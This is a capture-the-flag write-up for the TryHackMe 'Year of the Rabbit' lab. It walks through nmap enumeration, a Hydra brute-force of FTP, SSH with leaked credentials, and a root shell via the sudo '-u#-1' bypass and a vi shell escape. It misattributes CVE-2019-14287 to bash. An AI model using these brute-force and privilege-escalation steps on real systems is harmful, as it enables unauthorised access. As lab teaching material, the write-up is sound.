

YEAR OF THE RABBIT — WRITE-UP

TryHackMe Challenge Link: <https://tryhackme.com/room/yearoftherabbit>

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As always, we first need to perform some initial enumeration on the box. Get nmap up and we'll see if there are any services open to us:

```
nmap -sV -p- -vv <remote-ip>
```

PORT	STATE	SERVICE	REASON	VERSION
21/tcp	open	ftp	syn-ack ttl 63	vsftpd 3.0.2
22/tcp	open	ssh	syn-ack ttl 63	OpenSSH 6.7p1 Debian 5 (protocol 2.0)
80/tcp	open	http	syn-ack ttl 63	Apache httpd 2.4.10 ((Debian))

List of open ports

Looks like we've got a webserver running on port 80, SSH running on port 22 and an FTP server on port 21. Nothing out of the ordinary here. We would need credentials in order to attack SSH, so let's leave this aside for now. That leaves the web and FTP servers; we'll try an anonymous login to the FTP server first:

```
~$ ftp 10.10.193.61
Connected to 10.10.193.61.
220 (vsFTPd 3.0.2)
Name (10.10.193.61:agoodwill): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp>
```

Anonymous Login Failed

Nope.


Ah well, worth a shot.

Head over to the website to get an idea of what we're dealing with here.



Apache2 Default Landing Page

Just the default Apache2 landing page. Nothing we can do with the front-end, so let's take a look at the source code:



Landing Page Source Code

At first glance this looks completely normal too, but there *is* something abnormal about it. The default landing page is usually entirely self-contained in that it has an inline stylesheet, rather than linking to an external stylesheet like this one does:

```

5 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
6 <title>Apache2 Debian Default Page: It works</title>
7 <link rel="stylesheet" href="assets/style.css" type="text/css">
8 </head>
9 <body>
10 <div class="main_page">
11 <div class="page_header floating_element">
12 
13 <span class="floating_element">
14 Apache2 Debian Default Page
15 </span>
16 </div>
17 <!-- <div class="table_of_contents floating_element">
18 <div class="section_header section_header_grey">
19 TABLE OF CONTENTS
20 </div>
21 <div class="table_of_contents_item floating_element">

```

Inline Stylesheet Missing

That, to me, indicates that there's something "off" about this section. Click the link and take a look at `assets/style.css` :

```

* {
  margin: 0px 0px 0px 0px;
  padding: 0px 0px 0px 0px;
}

body, html {
  padding: 3px 3px 3px 3px;
  background-color: #000000;

  font-family: verdana, sans-serif;
  font-size: 11pt;
  text-align: center;
}

/* Nice to see someone checking the stylesheets.
   Take a look at the page: /sup3r_s3cr3t_f14g.php */
div.main_page {
  position: relative;
  display: table;

  width: 800px;

  margin-bottom: 3px;
  margin-left: auto;
  margin-right: auto;
  padding: 0px 0px 0px 0px;

  border-width: 2px;
  border-color: #212121;
  border-style: solid;
  background-color: #FFFFFF;

  text-align: center;
}

div.page_header {
  height: 90px;
  width: 100%;
  background-color: #5F6F77;
}

div.page_header span {
  margin: 15px 0px 0px 50px;
  font-size: 100%;
  font-weight: bold;
}

div.page_header img {
  margin: 3px 0px 0px 40px;
  border: 0px 0px 0px 0px;
}


div.table_of_contents {
  clear: left;
  width: 100%;
}

```

`/assets/style.css`

Bingo. There's something for us on `/sup3r_s3cr3t_f14g.php` . A flag, perhaps?..

Sup3r_S3cr3t_Fl4g



Rick Rolled!

Uh, no.

A message telling us to turn off our Javascript, followed by a redirection to a Rick Astley video.

Right, well, before we try that again, we'd better turn off Javascript. I'm using Firefox, so to do that I'm going to navigate to `about:config` then search for "javascript." Where it says `javascript.enabled` I'm going to change the Value to "false":


Search: javascript

Preference Name	Status	Type	Value
browser.urlbar.filter.javascript	default	boolean	true
javascript.enabled	modified	boolean	false
javascript.options.asmjs	default	boolean	true
javascript.options.asyncstack	default	boolean	false
javascript.options.baselinejit	default	boolean	true
javascript.options.baselinejit.threshold	default	integer	10
javascript.options.bigint	default	boolean	true
javascript.options.compact_on_user_inactive	default	boolean	true
javascript.options.compact_on_user_inactive_delay	default	integer	300000
javascript.options.discardSystemSource	default	boolean	false
javascript.options.dump_stack_on_debuggee_would_run	default	boolean	false
javascript.options.dynamicimport	default	boolean	true
javascript.options.experimental.await_fix	default	boolean	false
javascript.options.experimental.fields	default	boolean	false
javascript.options.gc_on_memory_pressure	default	boolean	true
javascript.options.ion	default	boolean	true
javascript.options.ion.frequent_bailout_threshold	default	integer	10
javascript.options.ion.full.threshold	default	integer	100000
javascript.options.ion.offthread_compilation	default	boolean	true
javascript.options.ion.threshold	default	integer	1000
javascript.options.mem.gc_allocation_threshold_factor	default	integer	90
javascript.options.mem.gc_allocation_threshold_factor_avoid_interrupt	default	integer	90
javascript.options.mem.gc_allocation_threshold_mb	default	integer	30
javascript.options.mem.gc_compacting	default	boolean	true
javascript.options.mem.gc_dynamic_heap_growth	default	boolean	true
javascript.options.mem.gc_dynamic_mark_slice	default	boolean	true
javascript.options.mem.gc_high_frequency_heap_growth_max	default	integer	300
javascript.options.mem.gc_high_frequency_heap_growth_min	default	integer	150

Turning off Javascript in Firefox

Other browsers have different ways of doing this, so you may need to search up how to do it for your own browser, or just use an extension to do it for you.

Right, we should now be safe to head back to `/sup3r_s3cr3t_f14g.php` now:



`/sup3r_s3cret_f14g` after turning off Javascript

56 seconds in we're given a hint in the audio:

*"I'll put you out of your misery ****burp**** you're looking in the wrong place"*


Yep, you read that right. We're not even *close* to finding the flag.

On the plus side, that conspicuous burp in the middle of the audio sounds like it could be a clue. Perhaps **Burpsuite**?

If you've not used Burpsuite before, take a look at this [post](#) from TryHackMe on how to set it up. Otherwise get an instance of Burp up and running and let's break this process down step by step. At this point you can also turn your Javascript back on.

Once you've got Burp set up to capture requests, let's try heading back to the `/sup3r_s3cr3t_fl4g.php` page once again:

We get the request to the page we were expecting. Click "Forward" and see what comes next:



`/intermediary.php`

Kill Burp then head over to the hidden directory and let's take a gander:



Index of hidden directory

It's indexable and contains only one file — an image: `Hot_Babe.png`

Click on it and we see that it's the classic picture of Lena frequently used as a test image for processing techniques. Further enumeration is evidently required.

Lena

If I didn't already know exactly where to go from here, I would probably spend some time messing around with binwalk to see if there was anything hidden in this image. As it is, I know that the solution is a lot simpler.

If you use `strings` or even `cat` on the file, you'll notice that the last 80 odd lines are all the same length. On lines 1790 and 1791 there's a message telling us that everything subsequent is a potential password for the FTP server, and that the username is "ftpuuser." In other words, we've been given a wordlist:

```
~$ sed -n '1790,1791p' Hot_Babe.png
Eh, you've earned this. Username for FTP is ftpuser
One of these is the password:
```


Let's save that wordlist in a new file, then we can set Hydra at the FTP server:

```
sed -n '1792,$p' Hot_Babe.png > wordlist.txt
```

Exploitation:

FTP

Using Hydra:

```
hydra -l ftpuser -P <path-to-copied-wordlist> <remote-ip> ftp
```

```
~$ hydra -l ftpuser -P wordlist.txt 10.10.193.61 ftp
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-02 20:18:48
[DATA] max 16 tasks per 1 server, overall 16 tasks, 82 login tries (l:1/p:82), ~6 tries per task
[DATA] attacking ftp://10.10.193.61:21/
[21][ftp] host: 10.10.193.61 login: ftpuser password:
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-02-02 20:19:03
```

Cracked!

Aaand we got it! We now have creds to login over FTP — let's put 'em to good use!

Login with the creds that we found and you'll see that there's only one file in the directory:

```
~$ ftp 10.10.193.61
Connected to 10.10.193.61.
220 (vsFTPd 3.0.2)
Name (10.10.193.61:): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 758 Jan 23 00:48 Eli's_Creds.txt
226 Directory send OK.
ftp>
```

Index of FTP directory

Any attempts to escape the current directory fail, so we'd be as well downloading `Eli's_Creds.txt` and seeing what we can do with them:

```
150 Opening BINARY mode data connection for Eli's_Creds.txt (758 bytes).
226 Transfer complete.
758 bytes received in 0.00 secs (2.2380 MB/s)
```

Downloading `Eli's_Creds.txt` from the FTP Server

Use `exit` to close the ftp connection then open up the file and let's see what we've got:

```
ftp> exit
221 Goodbye.

~$ cat Eli\'s_Creds.txt
+++++ ++++[ ->+++ ++++++ <]>+ +++.< ++++++ [->++ +++<] >+++++ +.<++ +[->-
--<]> ----- .<+++ [->++ <]>+ +++.< ++++++ ++[-> ----- --<]> ----- --.<+
+++++ [->--- --<]> -.<++ ++++++ +[->+ ++++++ ++<]> ++++++ .+++++ ++++.- --.<+
+++++ +++[- >----- ----- <]>-- ----- ----. ---.< ++++++ +++[- >+++++ ++++<
]>+++++ +++.< ++++++ [
++.<+ ++[-> ---<]
--<]> -.<++ ++++++ [
+<]>+ +++.< ++++++
+++++ [->--- --<]> ---.< ++++++ [->--- ---<] >---. <+++++ ++++++ [->+++++ ++++++
<]>++ +++++. <+++++ ++++[- >----- ---<] >----- -.+++ +.<++ ++++++ [->++ ++++++
<]>+. <+++++ [->--- <]>-- ---.- ----- . <
```

Creds are a little bit brainfucked

That looks a lot like the esoteric language, Brainfuck. Copy the gibberish and put it into a brainfuck decoder:

EL Brainfuck

https://copy.sh/brainfuck/

Most Visited Offensive Security Kali Linux Kali Docs Kali Tools Exploit-DB Aircrack-ng Kali Forums NetHunter Getting Started WIGLE: Wireless Netw... Hook Me! Preferences

```
1. +++++ ++++[ ->+++ ++++++ <]>+ +++.< ++++++ [->++ +++<] >+++++ +.<++ +[->-
2. --<]> ----- .<+++ [->++ <]>+ +++.< ++++++ ++[-> ----- --<]> ----- --.<+
3. +++++ [->--- --<]> -.<++ ++++++ +[->+ ++++++ ++<]> ++++++ .+++++ ++++.- --.<+
4. +++++ +++[- >----- ----- <]>-- ----- ----. ---.< ++++++ +++[- >+++++ ++++<
5. ]>+++++ +++.< ++++++ [
6. ++.<+ ++[-> ---<]
7. --<]> -.<++ ++++++ [
8. +<]>+ +++.< ++++++
9. +++++ [->--- --<]> ---.< ++++++ [->--- ---<] >---. <+++++ ++++++ [->+++++ ++++++
10. <]>++ +++++. <+++++ ++++[- >----- ---<] >----- -.+++ +.<++ ++++++ [->++ ++++++
11. <]>+. <+++++ [->--- <]>-- ---.- ----- . <
```

run stop load from server link to this code view memory view generated code minify Finished in 18 ms.

User: eli
Password: XXXXXXXXXX

Input

And there we have it: credentials for a user called Eli. Let's try 'em on SSH!

Eli

```
~$ ssh eli@10.10.193.61
The authenticity of host '10.10.193.61 (10.10.193.61)' can't be established.
ECDSA key fingerprint is SHA256:ISBm3muLdVA/w4A1cm7Q0Q0Q0CSMRlPdDp/x8CNpbJc8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.193.61' (ECDSA) to the list of known hosts.
eli@10.10.193.61's password:

1 new message
Message from Root to Gwendoline:

"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"
END MESSAGE

eli@year-of-the-rabbit:~$
```

Successful SSH as Eli

Success! We now have RCE as Eli. Of additional interest is the message that greeted us when we logged in: Root has left a message somewhere for a user called Gwendoline.

Regardless, it looks like we're going to have to work for our User flag, as it's not in Eli's home directory:

```
eli@year-of-the-rabbit:~$ ls -l
total 32
drwxr-xr-x 2 eli eli 4096 Jan 23 00:15 Desktop
drwxr-xr-x 2 eli eli 4096 Jan 23 00:15 Documents
drwxr-xr-x 2 eli eli 4096 Jan 23 00:15 Downloads
drwxr-xr-x 2 eli eli 4096 Jan 23 00:15 Music
drwxr-xr-x 2 eli eli 4096 Jan 23 00:15 Pictures
drwxr-xr-x 2 eli eli 4096 Jan 23 00:15 Public
drwxr-xr-x 2 eli eli 4096 Jan 23 00:15 Templates
drwxr-xr-x 2 eli eli 4096 Jan 23 00:15 Videos
```

No User Flag

A quick `find` search shows us that the flag is in Gwendoline's home directory. The plot thickens.

```
eli@year-of-the-rabbit:~$ find / -name "user.txt" 2>>/dev/null
/home/gwendoline/user.txt
eli@year-of-the-rabbit:~$ cat /home/gwendoline/user.txt
cat: /home/gwendoline/user.txt: Permission denied
```

Location of the User Flag

Right then, we might as well get to work on the only clue we've got: the message from Root. He's told us that there's a message stored in a "leet s3cr3t hiding place," that Gwendoline supposedly knows

```
eli@year-of-the-rabbit:~$ find / -name "s3cr3t" 2>>/dev/null  
/usr/games/s3cr3t
```

Leet s3cr3t directory

That looks promising. There's a directory called "s3cr3t" at `/usr/games/s3cr3t`. Head over there and take a look:

```
eli@year-of-the-rabbit:~$ cd /usr/games/s3cr3t/  
eli@year-of-the-rabbit:/usr/games/s3cr3t$ ls  
eli@year-of-the-rabbit:/usr/games/s3cr3t$
```

Empty Directory

Empty, at first glance, but a little perseverance goes a long way. There's a hidden message in this directory:

```
eli@year-of-the-rabbit:/usr/games/s3cr3t$ ls -al  
total 12  
drwxr-xr-x 2 root root 4096 Jan 23 00:46 .  
drwxr-xr-x 3 root root 4096 Jan 23 00:45 ..  
-rw-r--r-- 1 root root 138 Jan 23 00:46 .this_m3ss4ag3_15_f0r_gw3nd0lln3_only!
```

Hidden Message to Gwendoline

The message is for Gwendoline only? Oops...

```
eli@year-of-the-rabbit:/usr/games/s3cr3t$ cat .this_m3ss4ag3_15_f0r_gw3nd0lln3_only\  
Your password is awful, Gwendoline.  
It should be at least 60 characters long! Not just  
Honestly!  
  
Yours sincerely  
-Root
```

Contents of Message to Gwendoline

Oh the irony: the guy harping on about security forgets to restrict the permissions on the file. What a jerk.

Anyway, we've got Gwendoline's password now, so let's borrow her account and grab that flag!

```
gwendoline@year-of-the-rabbit:~$ cat user.txt  
THM{ }
```

User Flag

Privilege Escalation:

We've migrated to Gwendoline's account and grabbed the user flag. Now let's go for root!

The first thing, as ever, that we're going to check is whether we can run anything as sudo, using `sudo -l`:

```
gwendoline@year-of-the-rabbit:~$ sudo -l  
Matching Defaults entries for gwendoline on year-of-the-rabbit:  
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin  
  
User gwendoline may run the following commands on year-of-the-rabbit:  
  (ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt
```

`sudo -l` output

Oh ho! Now that is interesting. We're allowed to execute a single command with sudo as Gwendoline: specifically, we can use the vi text editor to open the user flag. Now, usually this would be an easy privesc — open the file using `sudo vi` then execute `/bin/bash` from inside the environment; hey presto, instant root shell.

In this instance, however, root is the only account we *can't* run sudo as. Notice that instead of having `(ALL, ALL)` inside the brackets of who we can run commands as, we have `(ALL, !root)` meaning that we can't use sudo as root, but we can use it as anyone else (eli, or www-data, for example).

Now, if it weren't for one thing, that would be this path of privesc entirely down the gutter. Fortunately for us, there's a vulnerability (CVE-2019-14287) in bash itself that allows us to get around this specific sudo configuration and execute the command as root regardless. [White Source Software](#) has a really good explanation of this vulnerability, but in summary, if you select a user with an id of -1, sudo can't cope with it and just reverts back to 0 (i.e. the id of the root user). What this means is that, whilst we can't execute commands as the user with id 0 (root), we *can* execute commands as any other user, including -1, which reverts back to root, thus bypassing the restriction. Now, the big question: is this box vulnerable?

```
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt  
:!whoami
```


Press ENTER or type command to continue

Proof of concept

Yep, looks like it!

All that's left to do now is execute `/bin/bash` from inside vi and we've got a root shell!

```
:/bin/bash
```



Getting Root

Would you look at that? A full root shell! Now all we need to do is grab `/root/root.txt` :

```
root@year-of-the-rabbit:/home/gwendoline# cat /root/root.txt  
THM{ }
```

Root Flag

And we're finished. A job well done I would say!

If you enjoyed this box, please let me know in the comments. It was great fun to build, and I've got a list of ideas as long as my arm — so keep an eye out for more in the future!

thanks